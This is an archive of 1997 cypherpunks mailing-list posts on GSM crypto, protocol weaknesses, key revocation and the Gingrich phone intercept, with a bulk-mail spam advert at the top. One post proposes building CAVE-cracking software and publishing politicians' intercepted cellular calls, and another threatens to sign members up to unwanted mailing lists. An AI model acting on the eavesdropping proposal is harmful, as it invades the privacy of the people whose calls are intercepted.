 1st week of 
 February On  a  F i r s t - r e s p o n s e,  F i r s t - r u n  b a s i s.
=====================================
To REMOVE        Email:   remove@allvip.com    
PLEASE be certain to send your removal request
 << FROM the email address >>  you wish to be removed.
     *~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*
 <*> N e w   Y e a r   S p e c i a l - 3   D a y s   O N L Y ! ! ! <*>

 ~ YOUR   E x c l u s i v e   1 4 - l i n e  Ad  Emailed  "ALONE" ~
                 to  2,500 Business Opportunity Seekers
              O N L Y           $ 1 4 .  9 5       (reg. $59.00)
       Email:  special@allvip.com         For  Easy Submission Form
                                 Please Do NOT Hit Reply!  

                 <<*>>   E X T R A    B O N U S   <<*>>   
  Order distribution for 3 lists of 2,500 Business Opportunity Seekers
                and GET  1  list distribution === FREE
      That's  10,000  Exclusive  emailings  of  YOUR  Ad  "ALONE" 
                  For   ONLY   $44.85       (reg. $239.00)
          Your  Satisfaction  is   1 0 0 %    G U A R A N T E E D

This Exclusive New Year Offer is avaialble for 3 days ONLY.  Our space
is filling VERY QUICKLY!  Respond NOW and your space will be reserved
immediately - No Faxes or Postal Mailing Necessary! 

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       PLEASE be certain to send your removal request  
       << FROM the email address >>  you wish to be removed.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "registration@nature.com"@www.nature.com
Date: Fri, 17 Jan 1997 00:16:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Nature Registration Confirmation
Message-ID: <199701170758.HAA00218@www.nature.com>
MIME-Version: 1.0
Content-Type: text/plain


Congratulations. You are now successfully registered with Nature on the
World-Wide Web -- the world's most popular on-line science journal.

Don't forget Nature on-line is updated weekly every Thursday with the very
latest events information, table of contents, jobs, news and much more.
While on-line, your registration details can also be used to request extra
information free from advertisers.

Your free registration allows you access at http://www.nature.com , as well
as Nature's US mirror site at http://www.america.nature.com (the information
there is exactly the same, but it offers faster access if you're based in 
the Americas). If you can read Japanese and if your machine is Kanjii-enabled,
you will also find Nature's Japanese gateway site at http://www.naturejpn.com .

If you ever forget your password, there's no need to re-register. Just e-mail
registration@nature.com with your name/e-mail address, and we'll look up
your details and confirm your password/username.

Also, please rest assured that your information is treated as confidential. It
is held on our secure server and will never be sold or traded to any other
company, organisation or individual.

We are constantly adapting Nature's award-winning site to keep it the first
choice for the scientific community. Your suggestions and feedback are always
much appreciated, and you may e-mail them to feedback@nature.com .

We look forward to seeing you back at the Nature site soon.

Yours sincerely,

Stephen Hunt
Nature Web Site
e-mail: s.hunt@nature.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 17 Jan 1997 05:29:30 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Kill filing
In-Reply-To: <32DF118A.721F@gte.net>
Message-ID: <Pine.LNX.3.95.970117082837.5142H-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Stop acting so stupid, Michael.

On Thu, 16 Jan 1997, Dale Thorn wrote:

> Michael Gurski wrote:
> > On Thu, 16 Jan 1997, Robert Hettinga wrote:
> > > At 1:05 pm -0500 1/16/97, Ed Falk wrote:
> 
> > > And, in my case, Eudora displays each message in the status window as it's
> > > bringing something down from the POP server, and again as it filters.
> > > So, Toto, you're not in "Cansas" any more. It's called a "Trash" folder.
> 
> > I used to have procmail shove messages from certain folks directly to
> > /dev/null, but then wondered a few days ago if I were missing
> > anything, so they ended up going to $MAILDIR/.in.garbage.  After
> > looking in there today, I'm glad to say that it's back to /dev/null,
> > with no regrets. Of course, with the new moderated list, there shouldn't
> > be too much work for procmail, except for those folks who I personally
> > feel aren't worth reading...
> 
> Michael, please tell me and everyone else at cypherpunks just why it
> is we should give a shit at all what your personal killfile habits
> are, and whether we should give a shit about whether you think anyone
> on this list is or isn't worth reading.
> 
> You and a thousand other clowns seem to think this is cool to do,
> but you're actually pointing back at yourself with this kind of crap.
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 20 Jan 1997 02:45:26 -0800 (PST)
To: azur@netcom.com
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
In-Reply-To: <v02140b00af086e8ed0db@[10.0.2.15]>
Message-ID: <199701170904.JAA00524@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Steve Shear <azur@netcom.com> writes:
> For voice calls, it is not possible to merely insert a more secure crypto
> function (e.g., IDEA) inside the less secure A5 crypto, unless the GSM base
> station's protocol is aware the subscriber unit is using the more secure
> crypto.  Otherwise, when the GSM base station unwraps the A5 encrypted data
> stream, which it assumes will contain digitized voice packets in the clear,
> it will not find what its looking for and will be unable to convert the
> packets to a circuit-switched voice signal.

The circuit-switched voice signal is digital also, and the voice
packet payload is transferred byte for byte into the circuit switched
link right?  So to insert IDEA encryption inside the A5 layer, you'd
need to packetize the IDEA ciphertext so that it conforms to the voice
packet spec (to fool the unwrapping the GSM station performs into
thinking the packets are voice packets).  Is that possible?  Is the
packet switched protocol non-error corrected?  (ie Is packet dropping
expected?)  If so you need to use an IDEA mode which does not rely on
previous packets.

> If, as I have previously stated, the subscriber instead uses the data port
> of his instrument and establishes a data link with his payload protected by
> the more the secure crypto this is entirely feasible.

If the above is infeasible.  Probably this is a more practical
approach anyway, as the data port has been already engineered to solve
some of problems that would be encountered, and you would be
duplicating effort.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 20 Jan 1997 08:12:17 -0800 (PST)
To: azur@netcom.com
Subject: Re: GSM crypto upgrade? (was Re: Newt's phone calls)
Message-ID: <199701201612.IAA12441@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Shear <azur@netcom.com> writes:
> For voice calls, it is not possible to merely insert a more secure crypto
> function (e.g., IDEA) inside the less secure A5 crypto, unless the GSM base
> station's protocol is aware the subscriber unit is using the more secure
> crypto.  Otherwise, when the GSM base station unwraps the A5 encrypted data
> stream, which it assumes will contain digitized voice packets in the clear,
> it will not find what its looking for and will be unable to convert the
> packets to a circuit-switched voice signal.

The circuit-switched voice signal is digital also, and the voice
packet payload is transferred byte for byte into the circuit switched
link right?  So to insert IDEA encryption inside the A5 layer, you'd
need to packetize the IDEA ciphertext so that it conforms to the voice
packet spec (to fool the unwrapping the GSM station performs into
thinking the packets are voice packets).  Is that possible?  Is the
packet switched protocol non-error corrected?  (ie Is packet dropping
expected?)  If so you need to use an IDEA mode which does not rely on
previous packets.

> If, as I have previously stated, the subscriber instead uses the data port
> of his instrument and establishes a data link with his payload protected by
> the more the secure crypto this is entirely feasible.

If the above is infeasible.  Probably this is a more practical
approach anyway, as the data port has been already engineered to solve
some of problems that would be encountered, and you would be
duplicating effort.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 20 Jan 1997 02:46:37 -0800 (PST)
To: azur@netcom.com
Subject: Re: GSM technology
In-Reply-To: <v02140b02af06ecc8961a@[10.0.2.15]>
Message-ID: <199701170931.JAA00539@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Steve Shear <azur@netcom.com> writes:
> [very useful explanation of GSM TDMA, and the new HSCSD]

64 kbit/s tied to ISDN is very nice technology.

> ENCRYPTED GSM LINKS
> If the GSM phone includes a data port, as some already do, just connect
> your laptop, dial your ISP and 'push' the encrypted traffic over that link
> (e.g., using TCP/IP and PGPfone).

This would obviously be possible, but to my mind reduces the appeal of
the system.  Not every one has a laptop.  Even if the potential user
does have a laptop, booting windows95, and starting up PGPfone is an
onerous task compared to just dialing a number on a mobile phone.
It's a user friendliness issue, and a question of ergonomics.  A
mobile phone is more portable than a GSM phone with a laptop plugged
into the data port.  You can't fit the laptop and GSM phone
combination into your shirt pocket.  What are you going to use for a
handset?  Radio operators headphone (with mike attached to the
headset) plugged into the laptop?  That's more dangling wires, and
makes the system less portable, and even more onerous to setup (take
laptop from carry bag, plug in headphones, plug in phone data port,
wait for laptop to boot, etc).

Even for crypto enthousiasts, I would submit that many would neglect
to go through the hassle of going through PGPfone for most
conversations, and would instead just use the mobile phone in the
clear (or with A5 encryption).  This for similar reasons to the
situation with PGP itself, many people rarely use PGP, even though
there is abundant software available to use it seamlessly with most
mail readers.  (I can vouch for mailcrypt.el the emacs interface to
PGP, and use it for to anyone who has a PGP key, and does not express
displeasure at receiving encrypted email).

Also, the cell phone tarriffs may be higher if you need higher
bandwidth to get the software only voice codec implementations in
PGPfone to produce equivalent full-duplex voice quality to that
expected from a digital mobile phone.

Not knocking the mobile phone and laptop combination for the purpose
of having mobile TCP/IP access from a laptop, I know several people
who have this combination, though only at 9.6kbits, and even at that
speed it is very neat.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 20 Jan 1997 08:13:59 -0800 (PST)
To: azur@netcom.com
Subject: Re: GSM technology
Message-ID: <199701201613.IAA12460@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Shear <azur@netcom.com> writes:
> [very useful explanation of GSM TDMA, and the new HSCSD]

64 kbit/s tied to ISDN is very nice technology.

> ENCRYPTED GSM LINKS
> If the GSM phone includes a data port, as some already do, just connect
> your laptop, dial your ISP and 'push' the encrypted traffic over that link
> (e.g., using TCP/IP and PGPfone).

This would obviously be possible, but to my mind reduces the appeal of
the system.  Not every one has a laptop.  Even if the potential user
does have a laptop, booting windows95, and starting up PGPfone is an
onerous task compared to just dialing a number on a mobile phone.
It's a user friendliness issue, and a question of ergonomics.  A
mobile phone is more portable than a GSM phone with a laptop plugged
into the data port.  You can't fit the laptop and GSM phone
combination into your shirt pocket.  What are you going to use for a
handset?  Radio operators headphone (with mike attached to the
headset) plugged into the laptop?  That's more dangling wires, and
makes the system less portable, and even more onerous to setup (take
laptop from carry bag, plug in headphones, plug in phone data port,
wait for laptop to boot, etc).

Even for crypto enthousiasts, I would submit that many would neglect
to go through the hassle of going through PGPfone for most
conversations, and would instead just use the mobile phone in the
clear (or with A5 encryption).  This for similar reasons to the
situation with PGP itself, many people rarely use PGP, even though
there is abundant software available to use it seamlessly with most
mail readers.  (I can vouch for mailcrypt.el the emacs interface to
PGP, and use it for to anyone who has a PGP key, and does not express
displeasure at receiving encrypted email).

Also, the cell phone tarriffs may be higher if you need higher
bandwidth to get the software only voice codec implementations in
PGPfone to produce equivalent full-duplex voice quality to that
expected from a digital mobile phone.

Not knocking the mobile phone and laptop combination for the purpose
of having mobile TCP/IP access from a laptop, I know several people
who have this combination, though only at 9.6kbits, and even at that
speed it is very neat.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Fri, 17 Jan 1997 11:24:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Hi again, and an invitation to kibitz
In-Reply-To: <199701140755.CAA04514@mail.intercon.com>
Message-ID: <5bojee$gjn@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


In article <199701140755.CAA04514@mail.intercon.com>,
Amanda Walker <amanda@intercon.com> wrote:
> (a) Server sends 8-byte challenge to client
> 
> (b) Client sends Microsoft NT authentication response to the server
>     (take the password in Unicode form, do an MD4 hash, pad with 0s to 21
>     bytes, split into 3 7-byte groups, use these as DES keys to encrypt
>     the challenge three times, send the 24-byte result as the response).
> 
> (c) If authentication fails, close the connection.
> 
> (d) If authentication succeeds, all subsequent traffic is enccrypted with
>     DES in CFB mode.  Until April :), the DES key used is taken from the
>     first 7 bytes of the MD4 hash of the password (after April, we expect
>     to switch to Diffie-Hellman key exchange first, followed by a revised
>     authentication handshake).

Some weaknesses:

- It doesn't resist dictionary attacks (no salt) when the attacker can make
    one active probe (forge a fixed challenge and get the client's response).
- It doesn't stop replay attacks (replay a fixed challenge, now the same DES
    key is used, so replay DES-encrypted session data).
- DES-encryption doesn't provide message authentication against active
    attacks; use a MAC too.
- You should use independent DES keys for each direction of the connection.
- Also the DES encryption key doesn't change for each connection.  It should.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Fri, 17 Jan 1997 11:21:31 -0800 (PST)
To: wombat@mcfeely.bsfs.org>
Subject: Re: Newt's phone calls
Message-ID: <199701171921.LAA18808@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:45 PM 1/15/97 -0500, Rabid Wombat wrote:
>
>
>On Mon, 13 Jan 1997, Declan McCullagh wrote:
>
>> Don't be too sure that crypto is that far beneath the radar. I spent
>> Thursday through Saturday at an annual privacy conference for activists
>> from around the country, and they understood the principles. Their
>> voicemails were filling up with calls from reporters last Friday about the
>> Gingrich incident, and I know they were talking crypto.
>
...
>
>"Call Privacy and Security" are listed in bold, with "Say goodbye to 
>eavesdropping" right below. Don't sell the public short; even me mum 
>knows her cordless phone is insecure. ;)
>
I had to tell my sister not to use the cordless phone to use the automated
banking services that our bank has available on grounds that transfers are
also available through the same service.
Our father is a math teacher, computer hobbyists since 1979.  Both of my
parents have college educations.  My sister pegged the scales on the state
distributed proficiency tests.  Yet she knows practically nothing outside of
her field.  I will probably have to show her the values of cryptography
before she actually has any patient records to deal with, (she's a pharmacy
major.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Fri, 17 Jan 1997 11:35:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Newt's phone calls
In-Reply-To: <1.5.4.16.19970113191647.098f90d2@popd.ix.netcom.com>
Message-ID: <5bok3l$gl4@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


In article <Pine.GSO.3.95.970113203329.21655A-100000@cp.pathfinder.com>,
Declan McCullagh  <declan@pathfinder.com> wrote:
> The only other journalist who was there made an interesting point, that
> encrypting cell phone traffic only up to the point it hits the phone
> system wouldn't hinder L.E. access but would protect privacy. (Or,
> perhaps, would be worse in the long term since we wouldn't have such
> luscious examples.) 

This is well-known.  GSM does this, for example.  I've seen the point
made in several textbooks.

I don't know of any cellular systems that do end-to-end encryption
(which would stop wiretapping at the landline switch) as opposed to
airlink encryption.  Does anyone else?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Fri, 17 Jan 1997 12:29:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: encryption program
Message-ID: <199701171938.LAA12029@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain



> 
> I ran a quick Kappa test on it.  ...

I had a blast with this one.  I was up until 4:30 last night working
on Pierre van Rooyen's "Here follows a example..." cryptogram.  It's
like doing a jigsaw puzzle; there's a hump you cross over near the
end where everything just falls into place.  Jim Gillogly broke it in
only a few hours, whereas I must have put in a whole day cumulatively
(half of that writing software), but it was my first real cryptogram.

It was a hell of a learning experience.  They say that you can't design
a crypto system until you've broken someone else's first, and this really
drove it home.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Fri, 17 Jan 1997 11:33:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: (Fwd) Black Liberation Radio
Message-ID: <199701171933.LAA16898@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


------- Forwarded Message Follows -------
Date:          Thu, 16 Jan 1997 12:36:31 -0700
From:          "Clover Hale" <clover@iaj.xo.com>
Subject:       Black Liberation Radio
To:            iaj-futuremedia@igc.org

 BLACK LIBERATION RADIO BUSTED!


   This morning, the FCC raided Black Liberation Radio in Decatur,
Illinois and seized all the equipment. BLR, an unlicensed radio
station operated by Napolean and Mildred Williams, has been a growing
thorn in the side of the local power structure. BLR has brought
together the predominantly white workers who have undergone bitter
strikes in the 90s (Caterpillar, etc.) with unemployed blacks and
whites. It has given them all a voice, not just locally but to a
degree nationally (Napolean was the keynote speaker at the recent
Micro Broadcasters Convention in Oakland).
   This pioneering station must go back on the air. Napoleon requests
donations to help them fight this. Please send what you can to:
Napoleon Williams, 637 E Center St., Decatur IL 63526. In the face of
a growing police state, Napoleon and Mildred are fighting back. They
need your help.

*PLEASE* call to issue protests:

State Attorney General
Jim Ryan
217-782-1090

Macon County States Attorney
Lawrence "Larry" Fichter
217-424-1400
101 South Main, Decatur,Il 62523.




------------
Makani Themba
mthemba@igc.apc.org
3780 Webster Street, Oakland, CA  94609
(510) 655-3112 (voice) (510) 658-5122 (fax)

"Whoever controls the flow of information dictates our
perceptions and perspectives; whoever controls the news
shapes our destiny."

   - George Clinton

Stop the execution of Mumia Abu Jamal!




=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Fri, 17 Jan 1997 03:00:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: DPD on the Web
Message-ID: <199701171100.MAA10275@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Listen to the Dallas PD with RealAudio:

http://www.policescanner.com/

Nobody





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 17 Jan 1997 12:12:10 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: Key Revokation Scheme
Message-ID: <3.0.1.32.19970117120914.00639400@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:32 PM 1/14/97 -0500, harka@nycmetro.com wrote:
>I started thinking about the issue, how to set up a system to have
>somebody else revoke your key for you, if you don't have the means
>to do so yourself.
>The possible case I had in mind was, what if you're maybe a
>dissident, you get arrested and your apartment (incl. disks/keys)
>gets raided. You don't have any means to revoke the key yourself,
>don't even have e-mail in general, and with the "one phone call",
	[.... method deleted .... lawyer, alice, bob, ... ]

Too complex for what you're really doing.  Give your lawyer a floppy
with the key revocation certificate and a yellow sticky about how
to call Alice or Bob for help if your lawyer's not computer-literate
enough to follow the README file.  If you're paranoid about the cops
getting your unindicted co-conspirators' names, use PGP Inc.
or some computer consultant instead of Alice and Bob and have your
lawyer pay their per-hour rate.  On your One Phone Call,
tell him to get the floppy out of the sealed envelope in his safe
and use it.

Key revocation certificates don't leak your private keys,
so the only risk if the Bad Guys get a copy is denial of service,
including the pain of rebuilding all your connections, etc.;
it doesn't leak your communications or allow them to forge mail.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Fri, 17 Jan 1997 12:18:44 -0800 (PST)
To: "Sarah L. Green" <greens@hiwaay.net>
Subject: Re: Newt's phone calls
Message-ID: <v02140b06af057d2eeee5@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>On Thu, 16 Jan 1997, Phillip M. Hallam-Baker wrote:
>>
>> It was a conference call but over a cellular phone. Martin had hacked his
>> Radio Shack Scanner using a well known technique. He had a radio ham
>> license.
>>
>Phill
>        Actually I'd love to see this go to court & have the law itself
>tossed out.  How many years have the airwaves been free?  Now it is
>illegal to listen on the cellular frequencies.
>
>Sarah.
>
>==============================================================================
>Sarah L. Green          Hey, I never claimed to be                >>osprey<<
>Madison, AL  (USA)        a genius  nor a typist           greens@hiwaay.net
>==============================================================================

The concept that a corporation or individual transmitting information meant
for receiption at 'significant' distances should be accorded the
presumption of privacy is analogous that a person shouting out their window
to a person on the street and assuming that insisting neighbors be required
to turn a bind ear.

However, since the government has pressed the point, couldn't one use this
same logic to claim that since face-to-face conversations are assumed to be
private that wire taps are illegal.  I seem to recall that Chief Justice
Brandice made this argument in the late '20s.  Look where we are today.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Fri, 17 Jan 1997 12:23:49 -0800 (PST)
To: Declan McCullagh <declan@pathfinder.com>
Subject: Forget DES, crack CAVE; was: Newt may be more receptive to encryption now
Message-ID: <v02140b07af058074b3ca@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>I think what's important to stress is that technical fixes work, laws
>don't.
>
>Net-advocates in DC are already planning to suggest to Republicans that
>they use crypto as a hammer to nail Gore (the chief White House supporter
>of the current policy) and draw votes and cash from Silicon Valley.
>
>-Declan
>
>
>On Thu, 16 Jan 1997 Scottauge@aol.com wrote:
>
>>
>> Given his troubles with this "hay seed" scanner recording democrats, ol' Newt
>> may be more receptive to encryption.
>>
>> Our privacy certainly is getting trashed by this presidency and I am hoping
>> an impeachment is coming down the line.
>>
>> Since the congress is who makes the laws, maybe we all can focus some snail
>> mail to these guys.
>>
>> Perhaps EFF could even draft some laws for our protection (what a joke - just
>> to keep busy body beaurocrats outta our business).
>>
>> What does it matter anyhow, these guys dont read their own 300 - 5000 page
>> laws anyhow....
>>
>> Hopeless....
>>
>>

Why don't we threaten to monitor and post RealAudio of all the politico's
juciest cellular intrigues, or design and distribute CAVE cracking software
to allow simple monitoring of digital cellular communications.  IMHO, this
would be a better demonstration that the DES crack being contemplated.

-- Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 17 Jan 1997 09:38:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Spam Hater URL :)
Message-ID: <TCPSMTP.17.1.17.12.27.34.2780269260.1471300@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


 In> Subject: CORRECT> Spam Hater URL

 In> Here is the URL

 In> http://www.compulink.co.uk/~net-services/spam/

 In> Windows Spam Hater Software for Hitting Back!
 In> see http://www.compulink.co.uk/~net-services/spam/


Have fun :)

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE           *         */
/* and PRIVATE ONLINE COMMUNICATIONS!            *   *       */
/*                                             *       *     */
/* E-mail: harka@nycmetro.com                    *   *       */
/*                                                 *         */
/* Finger or E-Mail for PGP public key.          *   *       */
/* Key Size: 2047   /   KeyID: 04174301        *       *     */
/* Fingerprint: FD E4 F8 6D C1 6A 44 F5   http://www.eff.org */
/*              28 9C 40 6E B8 94 78 E8                      */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMt0PyTltEBIEF0MBAQERUAf/Z8yw1OOEbP+1wGivh355JmDYXM9IebwP
NBUvPpaYiNbOoq4axszj9rc5V0EITEeDQkyKahagozQwdknl/XX4s1JrXvmaZi2y
ZM59n7N9FFPI4MNVLTg7maxKe13LStbzv86UDdwQMf54hGUqiSXFJs0tcDM6UyQB
EoBHnu54C5SQAThbiQvOinXP9XbrAmBgvjKuy2p59FESUmB8JMPvgAbtB+3ecF3C
fWiZnmVa2UvF+OoxDpYscqqfEGHRjw/tszTf5Y7fq/RRPPMEqVG5BMt/9Ep4rEdE
wfLZXgBvN7bZWmUD1sOoXWQ3c/oYa/3tXft6DzY8JiMHvtsgzWtawQ==
=O/jy
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 17 Jan 1997 10:16:02 -0800 (PST)
To: unde0275@frank.mtsu.edu (Internaut)
Subject: Re: Airport security [no such thing]
In-Reply-To: <01BC03D2.A3F21CA0@s14-pm05.tnstate.campus.mci.net>
Message-ID: <199701171832.MAA00342@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> I say we make people fly naked and ship their stuff via UPS ;).

    >>shudder<<

    No!. A clear case of the cure being worse than the disease...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ed.falk@Eng.Sun.COM (Ed Falk)
Date: Fri, 17 Jan 1997 13:26:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: UNSUBSCRIBE
Message-ID: <199701172045.MAA12756@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain


Could someone help this luser?  Is he responding like this to every post
on the list?

----- Begin Included Message -----

>From spooke@ita.flashnet.it  Fri Jan 17 12:44:24 1997
X-Sender: rm02129@ita.flashnet.it
Mime-Version: 1.0
Date: Fri, 17 Jan 1997 21:45:00 +0100
To: ed.falk@Eng (Ed Falk)
From: Spooke <spooke@ita.flashnet.it>
Subject: UNSUBSCRIBE

globalkos.org 
>> 
>> Hi, my name is Tod, and I really want to be a cool hacker, ...
>
>This has *got* to be a troll.  Nobody could be this clueless.
>
>
>Well, actually, they could.
>
>



----- End Included Message -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Genocide <gen2600@aracnet.com>
Date: Fri, 17 Jan 1997 12:59:03 -0800 (PST)
To: Rodrigo Espirito Santo <res@unidyne.uni.pt>
Subject: Re: Get me off this fucking list, or else.... (fwd)
In-Reply-To: <Pine.LNX.3.91.970117163041.5307B-100000@unidyne.uni.pt>
Message-ID: <Pine.LNX.3.95.970117125816.3983A-100000@shelob.aracnet.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 17 Jan 1997, Rodrigo Espirito Santo wrote:

	Such sophistication, I'm glad you'll leave, we don't need more
people subtracting from the group...

Gen/.

> ---------- Forwarded message ----------
> Date: Fri, 17 Jan 1997 16:30:25 +0000 (GMT)
> From: Rodrigo Espirito Santo <res@unidyne.uni.pt>
> To: cypherpunks@toad.com
> Cc: cypherpunks@toad.com
> Subject: Get me off this fucking list, or else....
> 
> Hey you dumb asses, i tried to unsubscribe this list in the correct way 
> but you guys don't know SHIT about this!!!!1
> If you don't get me out now i'll subscribe each and every one of you to 
> some goddamn gay and lesbiann and freak mailing list!!!!!!
> get me out!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
>   
> 

Genocide
Head of the Genocide2600 Group


============================================================================
		   **Coming soon! www.Genocide2600.com!
         ____________________
  *---===|                  |===---*
  *---===|     Genocide     |===---*     "You can be a king or a street
  *---===|       2600       |===---*   sweeper, but everyone dances with the
  *---===|__________________|===---*              Grim Reaper."
                                       
Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	It is by caffeine alone that I set my mind in motion.
	It is by the Mountain Dew that the thoughts acquire speed,
	the lips acquire stains, the stains become a warning.
	It is by caffeine alone that I set my mind in motion.
================================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 17 Jan 1997 10:13:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Alex Kelly Strikes Again
Message-ID: <3.0.1.32.19970117130602.0074b98c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Alex Kelly, our favorite Greenwich Connecticut high school jock, accused
rapist, ex-fugitive who returned to the US to face trial after 8 years on
the run in Europe has done it again.  He filed the paperwork to gain
recognition of Irish citizenship from the Irish Consulate and his claim has
been recognized.  He is now free to apply for an Irish Passport.  The DA is
trying to yank his $1,000,000 bail.

The wire services incorrectly report that he has been "granted" Irish
citizenship.  Actually, like anyone who has at least one grandparent born
in Ireland, he *is* an Irish citizen under that nation's permissive
nationality law and merely had to register his (overseas) birth with the
Consulate.

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMt+/eYVO4r4sgSPhAQHSbwP+NODK3r+64dMhpiOkDqSEUyD9OyHXJr58
rw9VFVN2y6JG2AIR5thogC+soMAMvUGuMKQiiXJkzSrTaHeanaFp/TG7FcDAi60d
DlHQbYmc8iIAXgI3yUvl4oFqqdI44FAkwTfhFe0Qcf0Ha41OHEODP/S0DFNhp6/d
+aQl7ECWsKo=
=/GGg
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Butler, Scott" <SButler@chemson.com>
Date: Fri, 17 Jan 1997 05:13:16 -0800 (PST)
